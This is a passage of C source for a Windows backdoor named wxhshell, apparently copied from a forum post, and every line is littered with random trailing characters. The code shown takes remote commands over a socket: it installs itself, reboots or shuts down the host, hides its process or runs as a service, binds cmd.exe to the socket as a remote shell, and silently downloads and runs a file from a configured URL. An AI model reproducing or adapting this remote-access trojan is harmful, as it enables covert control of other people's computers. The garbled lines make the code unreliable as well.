    switch(cmd[0]) { ] A.:8;  
  wd 86 y  
  // 帮助 /-J12O  
  case '?': { $=) i{kGS@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <~D-ew^BU  
    break; $w%n\t>B  
  } 57PoJ+  
  // 安装 1T96W :   
  case 'i': { GO3F[ l  
    if(Install()) /8](M5X]f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OZ,%T9vP  
    else 01~&H8 =  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VEUdw(-?s  
    break; 3"9'MDKH  
    } n\CQ-*;l  
  // 卸载 6<E4?<O%  
  case 'r': { 2pu8')'P  
    if(Uninstall()) g3*" ^C2=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  J^"  
    else .~>Uh3S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X"'c2gaa_  
    break; T8*<  
    } O:K={#Xj  
  // 显示 wxhshell 所在路径 `VJJ"v<L  
  case 'p': { R> r@[$z+  
    char svExeFile[MAX_PATH]; vbXZZ  
    strcpy(svExeFile,"\n\r"); _@-D/g  
      strcat(svExeFile,ExeFile); pzL !42  
        send(wsh,svExeFile,strlen(svExeFile),0); ctqXzM `  
    break; _hK83s4  
    } U2~7qC,!Do  
  // 重启 '8O(J7J  
  case 'b': { yDk|ad|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gA`x-`  
    if(Boot(REBOOT)) N^u,C$zP9C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dM|&Y6  
    else { 7*D*nY4+  
    closesocket(wsh); MJxTzQE  
    ExitThread(0); *cNqgw#\qL  
    } XnBpL6"T`  
    break; ?$:;hGO.<~  
    } ` #!~+  
  // 关机 EKwA1,Xz  
  case 'd': { x^s2bb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Cq-d,  
    if(Boot(SHUTDOWN)) -5v2E-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HW0EPJ  
    else { >=<qAkk  
    closesocket(wsh); Q2 tM~  
    ExitThread(0); c_oI?D9  
    } [;IW'cXNq  
    break; <M//zXa  
    } EqY e.dF,  
  // 获取shell aahAUhF  
  case 's': { H\Bh Af  
    CmdShell(wsh); gc%aaYf>  
    closesocket(wsh); +W=  
    ExitThread(0); q '6gj  
    break; g\Gx oR  
  } w>RBth^p  
  // 退出 a-P 'h1hbH  
  case 'x': { "Zu hN(-`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -85]x)JE  
    CloseIt(wsh); ~hJ/&,vH!  
    break; ;THb6Jz/+  
    } M!KHBr  
  // 离开 8UA bTqB-  
  case 'q': { hN~]$"@2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8(GH.)I+0  
    closesocket(wsh); Mo4#UV  
    WSACleanup(); <ZF,3~v?  
    exit(1); F0 cde  
    break; 8|\0\Wd;vu  
        } ct,Iu+HJ  
  } m5m'ByX(*  
  } caK<;bmu-  
@O~  
  // 提示信息 ;H%&Jht  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T2;%@Ghc  
} hWzjn5w3  
  } j\,HquTR  
ah82S)a`}  
  return; H,/|pP.  
} }7`HJ>+m)H  
}Pu|%\  
// shell模块句柄 iG:9uDY  
int CmdShell(SOCKET sock) ]Bp db'  
{ QQQ3U  
STARTUPINFO si; \,U#^Vr  
ZeroMemory(&si,sizeof(si)); f?-=&||f78  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 76Drhh(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M7$ h  
PROCESS_INFORMATION ProcessInfo; Mn<G9KR  
char cmdline[]="cmd"; y;0k |C   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'Gn-8r+  
  return 0; -uho;  
} OokBi 02b  
buIy+  
// 自身启动模式 [G(}`u8w"  
int StartFromService(void) _`Ojh0@00  
{ mLa0BIP  
typedef struct &e#>%0aS  
{ <NIg`B@'s  
  DWORD ExitStatus; / 7EeM{,~  
  DWORD PebBaseAddress; o6H\JCne  
  DWORD AffinityMask; c5>'1L  
  DWORD BasePriority; iSm5k:7  
  ULONG UniqueProcessId; mw^Di  
  ULONG InheritedFromUniqueProcessId; SUSam/xeg"  
}   PROCESS_BASIC_INFORMATION; <"SDU_<xG  
Je|D]w  
PROCNTQSIP NtQueryInformationProcess; IEi E6z]L(  
Z*/*P4\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; amPC C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Hk65c0  
c*O{?b  
  HANDLE             hProcess; c1v,5c6d j  
  PROCESS_BASIC_INFORMATION pbi; 1|_8+)i;  
Dv7/eRt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f8>S<:  
  if(NULL == hInst ) return 0; :z;}:+7n  
gk%8iT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8,E#vQ55}(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |]qwD,eiH,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1[QH68  
$VX<UK$|s  
  if (!NtQueryInformationProcess) return 0; TEgmE9^`)7  
;%Z%]nIS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j Hd <*  
  if(!hProcess) return 0; %h "+J  
6bL"ZOEu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9*?H/iN@p?  
T<p,KqH  
  CloseHandle(hProcess); :+1S+w  
RETq S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C:$12{I?*  
if(hProcess==NULL) return 0; mY+.(N7m  
'O#,;n  
HMODULE hMod;  eRlJ  
char procName[255]; n&?]GyQ  
unsigned long cbNeeded; Z19d Ted33  
UOWOOdWS B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *{5L*\AZ  
X%+FM]  
  CloseHandle(hProcess); zTFfft<  
-0KQR{LI  
if(strstr(procName,"services")) return 1; // 以服务启动 $ Cr? }'a  
)~hsd+ 0t  
  return 0; // 注册表启动 !Ua74C  
} R~-r8dWcw  
{.W$<y (j7  
// 主模块 e`1,jt'  
int StartWxhshell(LPSTR lpCmdLine) %cM2;a=2  
{ X@,xwsM%tb  
  SOCKET wsl; SE0"25\_G  
BOOL val=TRUE; '/gw`MJ  
  int port=0; T=8> 0D^v5  
  struct sockaddr_in door; ulnG|3A9  
O/gBBTB  
  if(wscfg.ws_autoins) Install(); sLx!Do$'  
D`r^2(WW  
port=atoi(lpCmdLine); a8?Zb^  
H}}]Gh.T  
if(port<=0) port=wscfg.ws_port; X&^8[,"  
I,{9vew  
  WSADATA data; TQx''$j\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {u BpM9KT  
%@<}z|.4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :#!m(s`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~rBeJZ  
  door.sin_family = AF_INET; {5+t\~q$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xg~ Baun  
  door.sin_port = htons(port); ~%Y*2i f  
>w:px$g4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ziuhS4k  
closesocket(wsl); )J/,-p  
return 1; 0T!_;IQ  
} u7!X#<  
axOdGv5  
  if(listen(wsl,2) == INVALID_SOCKET) { e_6@oh2s-  
closesocket(wsl); U8?%Dq%i  
return 1; CtbmX)vE  
} saOXbt(&  
  Wxhshell(wsl); ;0V{^  
  WSACleanup(); XVi?- /2  
X*F#=.lh  
return 0; W M/pP?||  
I;`)1   
} 2Y&QJon)  
4ze-N8<[  
// 以NT服务方式启动 =K#D^c~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d+KLtvB%M  
{ 9C5w!_b@  
DWORD   status = 0; v&}mbt-  
  DWORD   specificError = 0xfffffff; 9N>Dp N  
[((P ,v*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [`P+{ R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (o_wv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wVCZ=\L}  
  serviceStatus.dwWin32ExitCode     = 0; Lwgk}!KR  
  serviceStatus.dwServiceSpecificExitCode = 0; sygAEL;.  
  serviceStatus.dwCheckPoint       = 0; YPAMf&jEF  
  serviceStatus.dwWaitHint       = 0; H"4^  
`.+_}.m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d$<HMs:o@  
  if (hServiceStatusHandle==0) return; #RoGyrLo  
rlYAy5&  
status = GetLastError(); V7u;"vD  
  if (status!=NO_ERROR) T78`~-D4<  
{ l]whL1N3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kUAjQ>  
    serviceStatus.dwCheckPoint       = 0; ]zHUF!a*  
    serviceStatus.dwWaitHint       = 0; x$9UHEb kM  
    serviceStatus.dwWin32ExitCode     = status; *a xOen  
    serviceStatus.dwServiceSpecificExitCode = specificError; p=6Q0r|'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >\hu1C|W  
    return; W:{1R&$l  
  } = >)S\Dfi  
a4FvQH#j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; heiIb|z  
  serviceStatus.dwCheckPoint       = 0; d?_Bll"  
  serviceStatus.dwWaitHint       = 0; 5nIm7vlQm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xMDx<sk  
} t^. U<M  
c@)k#/[[b  
// 处理NT服务事件,比如:启动、停止 ^- T!(P:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) IbQ3*  
{ ~4o2!!^tI  
switch(fdwControl) <Yfk7Un  
{ XA} !  
case SERVICE_CONTROL_STOP: l>)0OP]  
  serviceStatus.dwWin32ExitCode = 0; {20^abUAS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gQf'|%)AJ  
  serviceStatus.dwCheckPoint   = 0; hA6!F#1  
  serviceStatus.dwWaitHint     = 0; uJ,>Y# ?  
  { XoM+"R"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %^xY7!{  
  } g$e b@0$  
  return; ZRO   
case SERVICE_CONTROL_PAUSE: 7Zp'}Om<I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \I; lgz2  
  break; _*B]yz6z  
case SERVICE_CONTROL_CONTINUE: ?:OL8&0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TFWV(<  
  break; XRVE8v+  
case SERVICE_CONTROL_INTERROGATE: /02|b}{  
  break; SnVIV%  
}; A7DEAT))4L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u|ia  
} xlF$PpRNM  
t_c;4iE  
// 标准应用程序主函数 Qjh5m5e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8D[P*?O  
{ &; 5QB  
iZGc'y  
// 获取操作系统版本 }R* [7V9"  
OsIsNt=GetOsVer(); @#Jc!p7)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r-'(_t~FT  
F>E'/r*  
  // 从命令行安装 y/rmxQtP  
  if(strpbrk(lpCmdLine,"iI")) Install(); TTpK8cC  
#R<4K0Xan  
  // 下载执行文件 =@;uDu:Q  
if(wscfg.ws_downexe) { l)GV&V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ee;&;Q,O.z  
  WinExec(wscfg.ws_filenam,SW_HIDE); Az[Yvu'<  
} !vHUe*1a{  
Q+gd|^Vc9  
if(!OsIsNt) { fdGls`H  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]N!382  
HideProc(); *@|d7aiO  
StartWxhshell(lpCmdLine); w;}pebL:  
} Q~<$'j  
else g76l@QYIU  
  if(StartFromService()) J2 {?P cs  
  // 以服务方式启动 A~&Tp  
  StartServiceCtrlDispatcher(DispatchTable); sG*1?  
else 6j@3C`Yd  
  // 普通方式启动 "P`V|g  
  StartWxhshell(lpCmdLine); F)g.CDQ!c  
:Lqz`  
return 0; `|e?91@vEa  
}
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只看该作者 1 发表于: 2006-10-10
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